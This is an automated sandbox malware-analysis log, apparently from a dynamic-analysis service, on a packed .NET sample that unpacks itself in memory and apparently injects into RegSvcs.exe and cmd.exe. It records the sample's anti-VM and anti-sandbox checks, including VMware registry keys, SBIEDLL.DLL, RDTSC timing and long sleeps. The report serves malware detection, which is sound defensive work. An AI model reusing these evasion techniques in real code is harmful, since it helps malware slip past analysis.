Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Mutant created: \Sessions\1\BaseNamedObjects\kSLmFPbu
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4116:120:WilError_01

Source: TPJX2QwEdXs5sTV.exe, u0003u2001.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 1.2.TPJX2QwEdXs5sTV.exe.cd0000.0.unpack, u0003u2001.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 1.0.TPJX2QwEdXs5sTV.exe.cd0000.0.unpack, u0003u2001.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: TPJX2QwEdXs5sTV.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: TPJX2QwEdXs5sTV.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: RegSvcs.pdb, source: cmd.exe, 00000017.00000002.521600812.0000000003AB7000.00000004.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000006.00000002.390723041.000000000105F000.00000040.00000001.sdmp, cmd.exe, 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp
Source:	Binary string: cmd.pdbUGP source: RegSvcs.exe, 00000006.00000002.391607663.0000000002EB0000.00000040.00020000.sdmp, cmd.exe, 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, cmd.exe
Source:	Binary string: RegSvcs.pdb source: cmd.exe, 00000017.00000002.521600812.0000000003AB7000.00000004.00020000.sdmp
Source:	Binary string: cmd.pdb source: RegSvcs.exe, 00000006.00000002.391607663.0000000002EB0000.00000040.00020000.sdmp, cmd.exe

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: TPJX2QwEdXs5sTV.exe, u0003u2001.cs	.Net Code: \x02 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.2.TPJX2QwEdXs5sTV.exe.cd0000.0.unpack, u0003u2001.cs	.Net Code: \x02 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.0.TPJX2QwEdXs5sTV.exe.cd0000.0.unpack, u0003u2001.cs	.Net Code: \x02 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0041B86C push eax; ret	6_2_0041B872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0041B802 push eax; ret	6_2_0041B808
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0041B80B push eax; ret	6_2_0041B872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0041C292 push AD92C3EFh; ret	6_2_0041C41C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0040C335 pushfd ; ret	6_2_0040C33A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0041CDE0 push F8C82648h; ret	6_2_0041CF04
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0041B6B3 push esp; retf	6_2_0041B6B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0041B7B5 push eax; ret	6_2_0041B808
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FBD0D1 push ecx; ret	6_2_00FBD0E4
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008876BD push ecx; ret	23_2_008876D0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008876D1 push ecx; ret	23_2_008876E4
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035FD0D1 push ecx; ret	23_2_035FD0E4

Source: initial sample

Static PE information: section name: .text entropy: 7.79647412085

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: TPJX2QwEdXs5sTV.exe PID: 5056, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	RDTSC instruction interceptor: First address: 00000000004085F4 second address: 00000000004085FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmd.exe	RDTSC instruction interceptor: First address: 0000000002D985F4 second address: 0000000002D985FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmd.exe	RDTSC instruction interceptor: First address: 0000000002D9897E second address: 0000000002D98984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe TID: 4452	Thread sleep time: -35576s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe TID: 3104	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmd.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 6_2_004088B0 rdtsc

6_2_004088B0

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0087B89C GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	23_2_0087B89C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008868BA FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	23_2_008868BA
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0088245C FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	23_2_0088245C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008931DC FindFirstFileW,FindNextFileW,FindClose,	23_2_008931DC
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008785EA memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	23_2_008785EA

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Thread delayed: delay time: 35576			Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: explorer.exe, 00000008.00000000.314540524.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000008.00000000.314540524.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000008.00000000.295449841.0000000008CEA000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}qqqqqqqqqqqqqq%%
Source: explorer.exe, 00000008.00000000.339578610.0000000008B4E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000008.00000000.339578610.0000000008B4E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000008.00000000.368949944.00000000048E0000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000000.339578610.0000000008B4E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}C
Source: explorer.exe, 00000008.00000000.294727832.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000Datc
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: explorer.exe, 00000008.00000000.294727832.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000008.00000000.309101909.00000000069DA000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD002
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000

Source: C:\Windows\SysWOW64\cmd.exe

Code function: 23_2_00892258 IsDebuggerPresent,

23_2_00892258

Source: C:\Windows\SysWOW64\cmd.exe

Code function: 23_2_00886C9A GetProcessHeap,RtlFreeHeap,

23_2_00886C9A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 6_2_004088B0 rdtsc

6_2_004088B0

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FFB8D0 mov eax, dword ptr fs:[00000030h]	6_2_00FFB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FFB8D0 mov ecx, dword ptr fs:[00000030h]	6_2_00FFB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FFB8D0 mov eax, dword ptr fs:[00000030h]	6_2_00FFB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FFB8D0 mov eax, dword ptr fs:[00000030h]	6_2_00FFB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FFB8D0 mov eax, dword ptr fs:[00000030h]	6_2_00FFB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FFB8D0 mov eax, dword ptr fs:[00000030h]	6_2_00FFB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9F0BF mov ecx, dword ptr fs:[00000030h]	6_2_00F9F0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9F0BF mov eax, dword ptr fs:[00000030h]	6_2_00F9F0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9F0BF mov eax, dword ptr fs:[00000030h]	6_2_00F9F0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA90AF mov eax, dword ptr fs:[00000030h]	6_2_00FA90AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F69080 mov eax, dword ptr fs:[00000030h]	6_2_00F69080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FE3884 mov eax, dword ptr fs:[00000030h]	6_2_00FE3884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FE3884 mov eax, dword ptr fs:[00000030h]	6_2_00FE3884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F80050 mov eax, dword ptr fs:[00000030h]	6_2_00F80050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F80050 mov eax, dword ptr fs:[00000030h]	6_2_00F80050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F7B02A mov eax, dword ptr fs:[00000030h]	6_2_00F7B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F7B02A mov eax, dword ptr fs:[00000030h]	6_2_00F7B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F7B02A mov eax, dword ptr fs:[00000030h]	6_2_00F7B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F7B02A mov eax, dword ptr fs:[00000030h]	6_2_00F7B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FE7016 mov eax, dword ptr fs:[00000030h]	6_2_00FE7016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FE7016 mov eax, dword ptr fs:[00000030h]	6_2_00FE7016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FE7016 mov eax, dword ptr fs:[00000030h]	6_2_00FE7016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01034015 mov eax, dword ptr fs:[00000030h]	6_2_01034015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01034015 mov eax, dword ptr fs:[00000030h]	6_2_01034015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6B1E1 mov eax, dword ptr fs:[00000030h]	6_2_00F6B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6B1E1 mov eax, dword ptr fs:[00000030h]	6_2_00F6B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6B1E1 mov eax, dword ptr fs:[00000030h]	6_2_00F6B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01022073 mov eax, dword ptr fs:[00000030h]	6_2_01022073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01031074 mov eax, dword ptr fs:[00000030h]	6_2_01031074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F8C182 mov eax, dword ptr fs:[00000030h]	6_2_00F8C182
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9A185 mov eax, dword ptr fs:[00000030h]	6_2_00F9A185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6B171 mov eax, dword ptr fs:[00000030h]	6_2_00F6B171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6B171 mov eax, dword ptr fs:[00000030h]	6_2_00F6B171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F8B944 mov eax, dword ptr fs:[00000030h]	6_2_00F8B944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F8B944 mov eax, dword ptr fs:[00000030h]	6_2_00F8B944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9513A mov eax, dword ptr fs:[00000030h]	6_2_00F9513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9513A mov eax, dword ptr fs:[00000030h]	6_2_00F9513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F84120 mov eax, dword ptr fs:[00000030h]	6_2_00F84120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F84120 mov eax, dword ptr fs:[00000030h]	6_2_00F84120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F84120 mov eax, dword ptr fs:[00000030h]	6_2_00F84120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F84120 mov eax, dword ptr fs:[00000030h]	6_2_00F84120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F84120 mov ecx, dword ptr fs:[00000030h]	6_2_00F84120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F69100 mov eax, dword ptr fs:[00000030h]	6_2_00F69100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F69100 mov eax, dword ptr fs:[00000030h]	6_2_00F69100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F69100 mov eax, dword ptr fs:[00000030h]	6_2_00F69100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0102131B mov eax, dword ptr fs:[00000030h]	6_2_0102131B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9FAB0 mov eax, dword ptr fs:[00000030h]	6_2_00F9FAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F652A5 mov eax, dword ptr fs:[00000030h]	6_2_00F652A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F652A5 mov eax, dword ptr fs:[00000030h]	6_2_00F652A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F652A5 mov eax, dword ptr fs:[00000030h]	6_2_00F652A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F652A5 mov eax, dword ptr fs:[00000030h]	6_2_00F652A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F652A5 mov eax, dword ptr fs:[00000030h]	6_2_00F652A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01038B58 mov eax, dword ptr fs:[00000030h]	6_2_01038B58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9D294 mov eax, dword ptr fs:[00000030h]	6_2_00F9D294
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9D294 mov eax, dword ptr fs:[00000030h]	6_2_00F9D294
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA927A mov eax, dword ptr fs:[00000030h]	6_2_00FA927A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0101D380 mov ecx, dword ptr fs:[00000030h]	6_2_0101D380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0102138A mov eax, dword ptr fs:[00000030h]	6_2_0102138A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01035BA5 mov eax, dword ptr fs:[00000030h]	6_2_01035BA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F69240 mov eax, dword ptr fs:[00000030h]	6_2_00F69240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F69240 mov eax, dword ptr fs:[00000030h]	6_2_00F69240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F69240 mov eax, dword ptr fs:[00000030h]	6_2_00F69240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F69240 mov eax, dword ptr fs:[00000030h]	6_2_00F69240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0101B260 mov eax, dword ptr fs:[00000030h]	6_2_0101B260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0101B260 mov eax, dword ptr fs:[00000030h]	6_2_0101B260
